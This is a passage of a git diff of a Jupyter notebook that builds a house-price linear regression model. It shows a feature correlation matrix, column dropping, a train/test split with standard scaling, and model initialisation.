0.1477385555895331,\n          -0.24536930566758508\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.328950633425325,\n        \"min\": -0.29224599898998754,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.5127375426560307,\n          0.2622237245920409,\n          0.05206369668244196\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.3300870309162173,\n        \"min\": -0.3832567307898894,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          -0.07070485424110408,\n          -0.3832567307898894,\n          0.004894990880054204\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    }\n  ]\n}"
+            }
+          },
+          "metadata": {},
+          "execution_count": 300
+        }
+      ],
+      "source": [
+        "# Compute the correlation matrix for all numeric features\n",
+        "corr = df_copy.corr(numeric_only=True)\n",
+        "corr\n"
       ]
-     },
-     "metadata": {},
-     "output_type": "display_data"
-    }
-   ],
-   "source": [
-    "# Plot the distribution of the target variable (\"price\") after log transformation\n",
-    "# The histogram with KDE shows how the transformation reduces skewness\n",
-    "plt.figure(figsize=(10,5))\n",
-    "sns.histplot(df_copy[\"price\"], bins=30, kde=True, color=\"skyblue\", edgecolor=\"black\")\n",
-    "plt.title(\"Distribution of House Prices\")\n",
-    "plt.xlabel(\"Price\")\n",
-    "plt.ylabel(\"Frequency\")\n",
-    "plt.show()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 26,
-   "id": "5af0d761",
-   "metadata": {},
-   "outputs": [
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "283c0dae",
+      "metadata": {
+        "id": "283c0dae"
+      },
+      "outputs": [],
+      "source": [
+        "# Calculate the correlation matrix for all numeric columns\n",
+        "corr = df_copy.corr(numeric_only=True)\n",
+        "\n",
+        "# Sort features by their absolute correlation with 'price' (highest to lowest)\n",
+        "imp_feature = np.abs(corr[\"price\"]).sort_values(ascending=False)\n",
+        "imp_feature\n",
+        "\n",
+        "# Drop features with very low correlation or less importance to the target 'price'\n",
+        "df_copy.drop(columns=[\"yr_renovated\", \"sqft_lot15\", \"sqft_lot\",\n",
+        "                    \"waterfront\", \"yr_built\", \"condition\",\n",
+        "                    \"long\", \"zipcode\"], inplace=True)\n"
+      ]
+    },
     {
-     "data": {
-      "text/html": [
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-       "</style>\n",
-       "<table border=\"1\" class=\"dataframe\">\n",
-       "  <thead>\n",
-       "    <tr style=\"text-align: right;\">\n",
-       "      <th></th>\n",
-       "      <th>price</th>\n",
-       "      <th>bedrooms</th>\n",
-       "      <th>bathrooms</th>\n",
-       "      <th>sqft_living</th>\n",
-       "      <th>sqft_lot</th>\n",
-       "      <th>floors</th>\n",
-       "      <th>waterfront</th>\n",
-       "      <th>view</th>\n",
-       "      <th>condition</th>\n",
-       "      <th>grade</th>\n",
-       "      <th>sqft_above</th>\n",
-       "      <th>sqft_basement</th>\n",
-       "      <th>yr_built</th>\n",
-       "      <th>yr_renovated</th>\n",
-       "      <th>zipcode</th>\n",
-       "      <th>lat</th>\n",
-       "      <th>long</th>\n",
-       "      <th>sqft_living15</th>\n",
-       "      <th>sqft_lot15</th>\n",
-       "    </tr>\n",
-       "  </thead>\n",
-       "  <tbody>\n",
-       "    <tr>\n",
-       "      <th>price</th>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.281523</td>\n",
-       "      <td>0.431503</td>\n",
-       "      <td>0.572382</td>\n",
-       "      <td>-0.055178</td>\n",
-       "      <td>0.274968</td>\n",
-       "      <td>0.042596</td>\n",
-       "      <td>0.212800</td>\n",
-       "      <td>0.039636</td>\n",
-       "      <td>0.594555</td>\n",
-       "      <td>0.467594</td>\n",
-       "      <td>0.214158</td>\n",
-       "      <td>0.039838</td>\n",
-       "      <td>0.082276</td>\n",
-       "      <td>0.010124</td>\n",
-       "      <td>0.517605</td>\n",
-       "      <td>0.038182</td>\n",
-       "      <td>0.512738</td>\n",
-       "      <td>-0.070705</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>bedrooms</th>\n",
-       "      <td>0.281523</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.485782</td>\n",
-       "      <td>0.625677</td>\n",
-       "      <td>0.243591</td>\n",
-       "      <td>0.143011</td>\n",
-       "      <td>-0.015382</td>\n",
-       "      <td>0.036929</td>\n",
-       "      <td>0.022685</td>\n",
-       "      <td>0.309843</td>\n",
-       "      <td>0.505084</td>\n",
-       "      <td>0.179573</td>\n",
-       "      <td>0.157947</td>\n",
-       "      <td>0.006565</td>\n",
-       "      <td>-0.160592</td>\n",
-       "      <td>-0.045956</td>\n",
-       "      <td>0.155034</td>\n",
-       "      <td>0.391771</td>\n",
-       "      <td>0.188767</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>bathrooms</th>\n",
-       "      <td>0.431503</td>\n",
-       "      <td>0.485782</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.723626</td>\n",
-       "      <td>-0.055640</td>\n",
-       "      <td>0.511809</td>\n",
-       "      <td>-0.001725</td>\n",
-       "      <td>0.085868</td>\n",
-       "      <td>-0.148085</td>\n",
-       "      <td>0.600815</td>\n",
-       "      <td>0.651597</td>\n",
-       "      <td>0.154500</td>\n",
-       "      <td>0.549665</td>\n",
-       "      <td>0.029349</td>\n",
-       "      <td>-0.218569</td>\n",
-       "      <td>-0.025143</td>\n",
-       "      <td>0.260607</td>\n",
-       "      <td>0.537293</td>\n",
-       "      <td>-0.034973</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_living</th>\n",
-       "      <td>0.572382</td>\n",
-       "      <td>0.625677</td>\n",
-       "      <td>0.723626</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.233735</td>\n",
-       "      <td>0.340626</td>\n",
-       "      <td>0.000102</td>\n",
-       "      <td>0.143684</td>\n",
-       "      <td>-0.061640</td>\n",
-       "      <td>0.668823</td>\n",
-       "      <td>0.836565</td>\n",
-       "      <td>0.265470</td>\n",
-       "      <td>0.357622</td>\n",
-       "      <td>0.022623</td>\n",
-       "      <td>-0.222157</td>\n",
-       "      <td>-0.005237</td>\n",
-       "      <td>0.274790</td>\n",
-       "      <td>0.716972</td>\n",
-       "      <td>0.187120</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_lot</th>\n",
-       "      <td>-0.055178</td>\n",
-       "      <td>0.243591</td>\n",
-       "      <td>-0.055640</td>\n",
-       "      <td>0.233735</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.466254</td>\n",
-       "      <td>0.020186</td>\n",
-       "      <td>0.047037</td>\n",
-       "      <td>0.155166</td>\n",
-       "      <td>-0.009255</td>\n",
-       "      <td>0.197095</td>\n",
-       "      <td>-0.007517</td>\n",
-       "      <td>-0.141682</td>\n",
-       "      <td>-0.004451</td>\n",
-       "      <td>-0.250450</td>\n",
-       "      <td>-0.168975</td>\n",
-       "      <td>0.253411</td>\n",
-       "      <td>0.264806</td>\n",
-       "      <td>0.855042</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>floors</th>\n",
-       "      <td>0.274968</td>\n",
-       "      <td>0.143011</td>\n",
-       "      <td>0.511809</td>\n",
-       "      <td>0.340626</td>\n",
-       "      <td>-0.466254</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.004507</td>\n",
-       "      <td>-0.013400</td>\n",
-       "      <td>-0.287360</td>\n",
-       "      <td>0.470518</td>\n",
-       "      <td>0.542276</td>\n",
-       "      <td>-0.296778</td>\n",
-       "      <td>0.524378</td>\n",
-       "      <td>0.000430</td>\n",
-       "      <td>-0.073691</td>\n",
-       "      <td>0.019646</td>\n",
-       "      <td>0.147739</td>\n",
-       "      <td>0.262224</td>\n",
-       "      <td>-0.383257</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>waterfront</th>\n",
-       "      <td>0.042596</td>\n",
-       "      <td>-0.015382</td>\n",
-       "      <td>-0.001725</td>\n",
-       "      <td>0.000102</td>\n",
-       "      <td>0.020186</td>\n",
-       "      <td>-0.004507</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.231879</td>\n",
-       "      <td>0.010205</td>\n",
-       "      <td>-0.008291</td>\n",
-       "      <td>-0.006218</td>\n",
-       "      <td>0.006828</td>\n",
-       "      <td>-0.024660</td>\n",
-       "      <td>0.036929</td>\n",
-       "      <td>0.043042</td>\n",
-       "      <td>-0.026546</td>\n",
-       "      <td>-0.018451</td>\n",
-       "      <td>0.010426</td>\n",
-       "      <td>0.036366</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>view</th>\n",
-       "      <td>0.212800</td>\n",
-       "      <td>0.036929</td>\n",
-       "      <td>0.085868</td>\n",
-       "      <td>0.143684</td>\n",
-       "      <td>0.047037</td>\n",
-       "      <td>-0.013400</td>\n",
-       "      <td>0.231879</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.029667</td>\n",
-       "      <td>0.124040</td>\n",
-       "      <td>0.056901</td>\n",
-       "      <td>0.160890</td>\n",
-       "      <td>-0.074552</td>\n",
-       "      <td>0.061616</td>\n",
-       "      <td>0.120216</td>\n",
-       "      <td>0.014887</td>\n",
-       "      <td>-0.090041</td>\n",
-       "      <td>0.173772</td>\n",
-       "      <td>0.048928</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>condition</th>\n",
-       "      <td>0.039636</td>\n",
-       "      <td>0.022685</td>\n",
-       "      <td>-0.148085</td>\n",
-       "      <td>-0.061640</td>\n",
-       "      <td>0.155166</td>\n",
-       "      <td>-0.287360</td>\n",
-       "      <td>0.010205</td>\n",
-       "      <td>0.029667</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.182461</td>\n",
-       "      <td>-0.173018</td>\n",
-       "      <td>0.148180</td>\n",
-       "      <td>-0.363667</td>\n",
-       "      <td>-0.059837</td>\n",
-       "      <td>0.000642</td>\n",
-       "      <td>0.005370</td>\n",
-       "      <td>-0.102397</td>\n",
-       "      <td>-0.121204</td>\n",
-       "      <td>0.135880</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>grade</th>\n",
-       "      <td>0.594555</td>\n",
-       "      <td>0.309843</td>\n",
-       "      <td>0.600815</td>\n",
-       "      <td>0.668823</td>\n",
-       "      <td>-0.009255</td>\n",
-       "      <td>0.470518</td>\n",
-       "      <td>-0.008291</td>\n",
-       "      <td>0.124040</td>\n",
-       "      <td>-0.182461</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.681696</td>\n",
-       "      <td>0.018706</td>\n",
-       "      <td>0.495600</td>\n",
-       "      <td>-0.014500</td>\n",
-       "      <td>-0.190877</td>\n",
-       "      <td>0.076809</td>\n",
-       "      <td>0.225634</td>\n",
-       "      <td>0.635893</td>\n",
-       "      <td>0.046797</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_above</th>\n",
-       "      <td>0.467594</td>\n",
-       "      <td>0.505084</td>\n",
-       "      <td>0.651597</td>\n",
-       "      <td>0.836565</td>\n",
-       "      <td>0.197095</td>\n",
-       "      <td>0.542276</td>\n",
-       "      <td>-0.006218</td>\n",
-       "      <td>0.056901</td>\n",
-       "      <td>-0.173018</td>\n",
-       "      <td>0.681696</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.259618</td>\n",
-       "      <td>0.474904</td>\n",
-       "      <td>-0.000555</td>\n",
-       "      <td>-0.304030</td>\n",
-       "      <td>-0.076948</td>\n",
-       "      <td>0.398401</td>\n",
-       "      <td>0.685444</td>\n",
-       "      <td>0.154069</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_basement</th>\n",
-       "      <td>0.214158</td>\n",
-       "      <td>0.179573</td>\n",
-       "      <td>0.154500</td>\n",
-       "      <td>0.265470</td>\n",
-       "      <td>-0.007517</td>\n",
-       "      <td>-0.296778</td>\n",
-       "      <td>0.006828</td>\n",
-       "      <td>0.160890</td>\n",
-       "      <td>0.148180</td>\n",
-       "      <td>0.018706</td>\n",
-       "      <td>-0.259618</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.180521</td>\n",
-       "      <td>0.038093</td>\n",
-       "      <td>0.164957</td>\n",
-       "      <td>0.146508</td>\n",
-       "      <td>-0.245369</td>\n",
-       "      <td>0.052064</td>\n",
-       "      <td>0.004895</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>yr_built</th>\n",
-       "      <td>0.039838</td>\n",
-       "      <td>0.157947</td>\n",
-       "      <td>0.549665</td>\n",
-       "      <td>0.357622</td>\n",
-       "      <td>-0.141682</td>\n",
-       "      <td>0.524378</td>\n",
-       "      <td>-0.024660</td>\n",
-       "      <td>-0.074552</td>\n",
-       "      <td>-0.363667</td>\n",
-       "      <td>0.495600</td>\n",
-       "      <td>0.474904</td>\n",
-       "      <td>-0.180521</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.217649</td>\n",
-       "      <td>-0.350629</td>\n",
-       "      <td>-0.182428</td>\n",
-       "      <td>0.428585</td>\n",
-       "      <td>0.358253</td>\n",
-       "      <td>-0.036007</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>yr_renovated</th>\n",
-       "      <td>0.082276</td>\n",
-       "      <td>0.006565</td>\n",
-       "      <td>0.029349</td>\n",
-       "      <td>0.022623</td>\n",
-       "      <td>-0.004451</td>\n",
-       "      <td>0.000430</td>\n",
-       "      <td>0.036929</td>\n",
-       "      <td>0.061616</td>\n",
-       "      <td>-0.059837</td>\n",
-       "      <td>-0.014500</td>\n",
-       "      <td>-0.000555</td>\n",
-       "      <td>0.038093</td>\n",
-       "      <td>-0.217649</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.076465</td>\n",
-       "      <td>0.034532</td>\n",
-       "      <td>-0.075982</td>\n",
-       "      <td>-0.047362</td>\n",
-       "      <td>-0.016870</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>zipcode</th>\n",
-       "      <td>0.010124</td>\n",
-       "      <td>-0.160592</td>\n",
-       "      <td>-0.218569</td>\n",
-       "      <td>-0.222157</td>\n",
-       "      <td>-0.250450</td>\n",
-       "      <td>-0.073691</td>\n",
-       "      <td>0.043042</td>\n",
-       "      <td>0.120216</td>\n",
-       "      <td>0.000642</td>\n",
-       "      <td>-0.190877</td>\n",
-       "      <td>-0.304030</td>\n",
-       "      <td>0.164957</td>\n",
-       "      <td>-0.350629</td>\n",
-       "      <td>0.076465</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.288507</td>\n",
-       "      <td>-0.576946</td>\n",
-       "      <td>-0.292246</td>\n",
-       "      <td>-0.259762</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>lat</th>\n",
-       "      <td>0.517605</td>\n",
-       "      <td>-0.045956</td>\n",
-       "      <td>-0.025143</td>\n",
-       "      <td>-0.005237</td>\n",
-       "      <td>-0.168975</td>\n",
-       "      <td>0.019646</td>\n",
-       "      <td>-0.026546</td>\n",
-       "      <td>0.014887</td>\n",
-       "      <td>0.005370</td>\n",
-       "      <td>0.076809</td>\n",
-       "      <td>-0.076948</td>\n",
-       "      <td>0.146508</td>\n",
-       "      <td>-0.182428</td>\n",
-       "      <td>0.034532</td>\n",
-       "      <td>0.288507</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>-0.172276</td>\n",
-       "      <td>-0.002209</td>\n",
-       "      <td>-0.140684</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>long</th>\n",
-       "      <td>0.038182</td>\n",
-       "      <td>0.155034</td>\n",
-       "      <td>0.260607</td>\n",
-       "      <td>0.274790</td>\n",
-       "      <td>0.253411</td>\n",
-       "      <td>0.147739</td>\n",
-       "      <td>-0.018451</td>\n",
-       "      <td>-0.090041</td>\n",
-       "      <td>-0.102397</td>\n",
-       "      <td>0.225634</td>\n",
-       "      <td>0.398401</td>\n",
-       "      <td>-0.245369</td>\n",
-       "      <td>0.428585</td>\n",
-       "      <td>-0.075982</td>\n",
-       "      <td>-0.576946</td>\n",
-       "      <td>-0.172276</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.361030</td>\n",
-       "      <td>0.248683</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_living15</th>\n",
-       "      <td>0.512738</td>\n",
-       "      <td>0.391771</td>\n",
-       "      <td>0.537293</td>\n",
-       "      <td>0.716972</td>\n",
-       "      <td>0.264806</td>\n",
-       "      <td>0.262224</td>\n",
-       "      <td>0.010426</td>\n",
-       "      <td>0.173772</td>\n",
-       "      <td>-0.121204</td>\n",
-       "      <td>0.635893</td>\n",
-       "      <td>0.685444</td>\n",
-       "      <td>0.052064</td>\n",
-       "      <td>0.358253</td>\n",
-       "      <td>-0.047362</td>\n",
-       "      <td>-0.292246</td>\n",
-       "      <td>-0.002209</td>\n",
-       "      <td>0.361030</td>\n",
-       "      <td>1.000000</td>\n",
-       "      <td>0.261226</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>sqft_lot15</th>\n",
-       "      <td>-0.070705</td>\n",
-       "      <td>0.188767</td>\n",
-       "      <td>-0.034973</td>\n",
-       "      <td>0.187120</td>\n",
-       "      <td>0.855042</td>\n",
-       "      <td>-0.383257</td>\n",
-       "      <td>0.036366</td>\n",
-       "      <td>0.048928</td>\n",
-       "      <td>0.135880</td>\n",
-       "      <td>0.046797</td>\n",
-       "      <td>0.154069</td>\n",
-       "      <td>0.004895</td>\n",
-       "      <td>-0.036007</td>\n",
-       "      <td>-0.016870</td>\n",
-       "      <td>-0.259762</td>\n",
-       "      <td>-0.140684</td>\n",
-       "      <td>0.248683</td>\n",
-       "      <td>0.261226</td>\n",
-       "      <td>1.000000</td>\n",
-       "    </tr>\n",
-       "  </tbody>\n",
-       "</table>\n",
-       "</div>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "e8c33682",
+      "metadata": {
+        "id": "e8c33682"
+      },
+      "outputs": [],
+      "source": [
+        "from sklearn.model_selection import train_test_split\n",
+        "from sklearn.preprocessing import StandardScaler\n",
+        "\n",
+        "# Split data into features (X) and target (y)\n",
+        "X = df_copy.drop(columns=[\"price\"])\n",
+        "y = df_copy[\"price\"]\n",
+        "\n",
+        "# Split into training and testing sets (80% train, 20% test)\n",
+        "X_train, X_test, y_train, y_test = train_test_split(\n",
+        "    X, y, test_size=0.2, random_state=42, shuffle=True\n",
+        ")\n",
+        "\n",
+        "# Select only numerical columns that need scaling\n",
+        "num_cols = [\n",
+        "    'bedrooms', 'bathrooms', 'sqft_living', 'floors',\n",
+        "    'view', 'grade', 'sqft_above', 'sqft_basement',\n",
+        "    'lat', 'sqft_living15'\n",
+        "]\n",
+        "\n",
+        "# Initialize StandardScaler\n",
+        "scaler = StandardScaler()\n",
+        "\n",
+        "# Fit scaler on training data and transform training set\n",
+        "X_train[num_cols] = scaler.fit_transform(X_train[num_cols])\n",
+        "\n",
+        "# Apply the same transformation to the test set\n",
+        "X_test[num_cols] = scaler.transform(X_test[num_cols])\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "a4446be1",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "a4446be1",
+        "outputId": "44fe545b-3408-49c1-beb5-ab8624360c6f"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Training set size: (14080, 10)\n",
+            "Testing set size: (3520, 10)\n"
+          ]
+        }
       ],
-      "text/plain": [
-       "                  price  bedrooms  bathrooms  sqft_living  sqft_lot    floors  \\\n",
-       "price          1.000000  0.281523   0.431503     0.572382 -0.055178  0.274968   \n",
-       "bedrooms       0.281523  1.000000   0.485782     0.625677  0.243591  0.143011   \n",
-       "bathrooms      0.431503  0.485782   1.000000     0.723626 -0.055640  0.511809   \n",
-       "sqft_living    0.572382  0.625677   0.723626     1.000000  0.233735  0.340626   \n",
-       "sqft_lot      -0.055178  0.243591  -0.055640     0.233735  1.000000 -0.466254   \n",
-       "floors         0.274968  0.143011   0.511809     0.340626 -0.466254  1.000000   \n",
-       "waterfront     0.042596 -0.015382  -0.001725     0.000102  0.020186 -0.004507   \n",
-       "view           0.212800  0.036929   0.085868     0.143684  0.047037 -0.013400   \n",
-       "condition      0.039636  0.022685  -0.148085    -0.061640  0.155166 -0.287360   \n",
-       "grade          0.594555  0.309843   0.600815     0.668823 -0.009255  0.470518   \n",
-       "sqft_above     0.467594  0.505084   0.651597     0.836565  0.197095  0.542276   \n",
-       "sqft_basement  0.214158  0.179573   0.154500     0.265470 -0.007517 -0.296778   \n",
-       "yr_built       0.039838  0.157947   0.549665     0.357622 -0.141682  0.524378   \n",
-       "yr_renovated   0.082276  0.006565   0.029349     0.022623 -0.004451  0.000430   \n",
-       "zipcode        0.010124 -0.160592  -0.218569    -0.222157 -0.250450 -0.073691   \n",
-       "lat            0.517605 -0.045956  -0.025143    -0.005237 -0.168975  0.019646   \n",
-       "long           0.038182  0.155034   0.260607     0.274790  0.253411  0.147739   \n",
-       "sqft_living15  0.512738  0.391771   0.537293     0.716972  0.264806  0.262224   \n",
-       "sqft_lot15    -0.070705  0.188767  -0.034973     0.187120  0.855042 -0.383257   \n",
-       "\n",
-       "               waterfront      view  condition     grade  sqft_above  \\\n",
-       "price            0.042596  0.212800   0.039636  0.594555    0.467594   \n",
-       "bedrooms        -0.015382  0.036929   0.022685  0.309843    0.505084   \n",
-       "bathrooms       -0.001725  0.085868  -0.148085  0.600815    0.651597   \n",
-       "sqft_living      0.000102  0.143684  -0.061640  0.668823    0.836565   \n",
-       "sqft_lot         0.020186  0.047037   0.155166 -0.009255    0.197095   \n",
-       "floors          -0.004507 -0.013400  -0.287360  0.470518    0.542276   \n",
-       "waterfront       1.000000  0.231879   0.010205 -0.008291   -0.006218   \n",
-       "view             0.231879  1.000000   0.029667  0.124040    0.056901   \n",
-       "condition        0.010205  0.029667   1.000000 -0.182461   -0.173018   \n",
-       "grade           -0.008291  0.124040  -0.182461  1.000000    0.681696   \n",
-       "sqft_above      -0.006218  0.056901  -0.173018  0.681696    1.000000   \n",
-       "sqft_basement    0.006828  0.160890   0.148180  0.018706   -0.259618   \n",
-       "yr_built        -0.024660 -0.074552  -0.363667  0.495600    0.474904   \n",
-       "yr_renovated     0.036929  0.061616  -0.059837 -0.014500   -0.000555   \n",
-       "zipcode          0.043042  0.120216   0.000642 -0.190877   -0.304030   \n",
-       "lat             -0.026546  0.014887   0.005370  0.076809   -0.076948   \n",
-       "long            -0.018451 -0.090041  -0.102397  0.225634    0.398401   \n",
-       "sqft_living15    0.010426  0.173772  -0.121204  0.635893    0.685444   \n",
-       "sqft_lot15       0.036366  0.048928   0.135880  0.046797    0.154069   \n",
-       "\n",
-       "               sqft_basement  yr_built  yr_renovated   zipcode       lat  \\\n",
-       "price               0.214158  0.039838      0.082276  0.010124  0.517605   \n",
-       "bedrooms            0.179573  0.157947      0.006565 -0.160592 -0.045956   \n",
-       "bathrooms           0.154500  0.549665      0.029349 -0.218569 -0.025143   \n",
-       "sqft_living         0.265470  0.357622      0.022623 -0.222157 -0.005237   \n",
-       "sqft_lot           -0.007517 -0.141682     -0.004451 -0.250450 -0.168975   \n",
-       "floors             -0.296778  0.524378      0.000430 -0.073691  0.019646   \n",
-       "waterfront          0.006828 -0.024660      0.036929  0.043042 -0.026546   \n",
-       "view                0.160890 -0.074552      0.061616  0.120216  0.014887   \n",
-       "condition           0.148180 -0.363667     -0.059837  0.000642  0.005370   \n",
-       "grade               0.018706  0.495600     -0.014500 -0.190877  0.076809   \n",
-       "sqft_above         -0.259618  0.474904     -0.000555 -0.304030 -0.076948   \n",
-       "sqft_basement       1.000000 -0.180521      0.038093  0.164957  0.146508   \n",
-       "yr_built           -0.180521  1.000000     -0.217649 -0.350629 -0.182428   \n",
-       "yr_renovated        0.038093 -0.217649      1.000000  0.076465  0.034532   \n",
-       "zipcode             0.164957 -0.350629      0.076465  1.000000  0.288507   \n",
-       "lat                 0.146508 -0.182428      0.034532  0.288507  1.000000   \n",
-       "long               -0.245369  0.428585     -0.075982 -0.576946 -0.172276   \n",
-       "sqft_living15       0.052064  0.358253     -0.047362 -0.292246 -0.002209   \n",
-       "sqft_lot15          0.004895 -0.036007     -0.016870 -0.259762 -0.140684   \n",
-       "\n",
-       "                   long  sqft_living15  sqft_lot15  \n",
-       "price          0.038182       0.512738   -0.070705  \n",
-       "bedrooms       0.155034       0.391771    0.188767  \n",
-       "bathrooms      0.260607       0.537293   -0.034973  \n",
-       "sqft_living    0.274790       0.716972    0.187120  \n",
-       "sqft_lot       0.253411       0.264806    0.855042  \n",
-       "floors         0.147739       0.262224   -0.383257  \n",
-       "waterfront    -0.018451       0.010426    0.036366  \n",
-       "view          -0.090041       0.173772    0.048928  \n",
-       "condition     -0.102397      -0.121204    0.135880  \n",
-       "grade          0.225634       0.635893    0.046797  \n",
-       "sqft_above     0.398401       0.685444    0.154069  \n",
-       "sqft_basement -0.245369       0.052064    0.004895  \n",
-       "yr_built       0.428585       0.358253   -0.036007  \n",
-       "yr_renovated  -0.075982      -0.047362   -0.016870  \n",
-       "zipcode       -0.576946      -0.292246   -0.259762  \n",
-       "lat           -0.172276      -0.002209   -0.140684  \n",
-       "long           1.000000       0.361030    0.248683  \n",
-       "sqft_living15  0.361030       1.000000    0.261226  \n",
-       "sqft_lot15     0.248683       0.261226    1.000000  "
+      "source": [
+        "# Print the shape (rows, columns) of training and testing sets\n",
+        "print(\"Training set size:\", X_train.shape)   # Number of rows & columns in training data\n",
+        "print(\"Testing set size:\", X_test.shape)     # Number of rows & columns in testing data\n"
       ]
-     },
-     "execution_count": 26,
-     "metadata": {},
-     "output_type": "execute_result"
-    }
-   ],
-   "source": [
-    "# Compute the correlation matrix for all numeric features\n",
-    "corr = df_copy.corr(numeric_only=True)\n",
-    "corr\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 27,
-   "id": "283c0dae",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "# Calculate the correlation matrix for all numeric columns\n",
-    "corr = df_copy.corr(numeric_only=True)\n",
-    "\n",
-    "# Sort features by their absolute correlation with 'price' (highest to lowest)\n",
-    "imp_feature = np.abs(corr[\"price\"]).sort_values(ascending=False)\n",
-    "imp_feature\n",
-    "\n",
-    "# Drop features with very low correlation or less importance to the target 'price'\n",
-    "df_copy.drop(columns=[\"yr_renovated\", \"sqft_lot15\", \"sqft_lot\", \n",
-    "                    \"waterfront\", \"yr_built\", \"condition\", \n",
-    "                    \"long\", \"zipcode\"], inplace=True)\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 28,
-   "id": "e8c33682",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "from sklearn.model_selection import train_test_split\n",
-    "from sklearn.preprocessing import StandardScaler\n",
-    "\n",
-    "# Split data into features (X) and target (y)\n",
-    "X = df_copy.drop(columns=[\"price\"])\n",
-    "y = df_copy[\"price\"]\n",
-    "\n",
-    "# Split into training and testing sets (80% train, 20% test)\n",
-    "X_train, X_test, y_train, y_test = train_test_split(\n",
-    "    X, y, test_size=0.2, random_state=42, shuffle=True\n",
-    ")\n",
-    "\n",
-    "# Select only numerical columns that need scaling\n",
-    "num_cols = [\n",
-    "    'bedrooms', 'bathrooms', 'sqft_living', 'floors', \n",
-    "    'view', 'grade', 'sqft_above', 'sqft_basement', \n",
-    "    'lat', 'sqft_living15'\n",
-    "]\n",
-    "\n",
-    "# Initialize StandardScaler\n",
-    "scaler = StandardScaler()\n",
-    "\n",
-    "# Fit scaler on training data and transform training set\n",
-    "X_train[num_cols] = scaler.fit_transform(X_train[num_cols])\n",
-    "\n",
-    "# Apply the same transformation to the test set\n",
-    "X_test[num_cols] = scaler.transform(X_test[num_cols])\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 29,
-   "id": "a4446be1",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "name": "stdout",
-     "output_type": "stream",
-     "text": [
-      "Training set size: (14080, 10)\n",
-      "Testing set size: (3520, 10)\n"
-     ]
-    }
-   ],
-   "source": [
-    "# Print the shape (rows, columns) of training and testing sets\n",
-    "print(\"Training set size:\", X_train.shape)   # Number of rows & columns in training data\n",
-    "print(\"Testing set size:\", X_test.shape)     # Number of rows & columns in testing data\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 30,
-   "id": "ce58d628",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "from sklearn.linear_model import LinearRegression  \n",
-    "\n",
-    "# Initialize Linear Regression model\n",
-    "model = LinearRegression()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 31,
-   "id": "a47f4353",
-   "metadata": {},
-   "outputs": [
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "ce58d628",
+      "metadata": {
+        "id": "ce58d628"
+      },
+      "outputs": [],
+      "source": [
+        "from sklearn.linear_model import LinearRegression\n",
+        "\n",
+        "# Initialize Linear Regression model\n",
+        "model = LinearRegression()\n"
+      ]
+    },
     {
-     "data": {
-      "text/html": [
-       "<style>#sk-container-id-1 {\n",
-       "  /* Definition of color scheme common for light and dark mode */\n",
-       "  --sklearn-color-text: #000;\n",
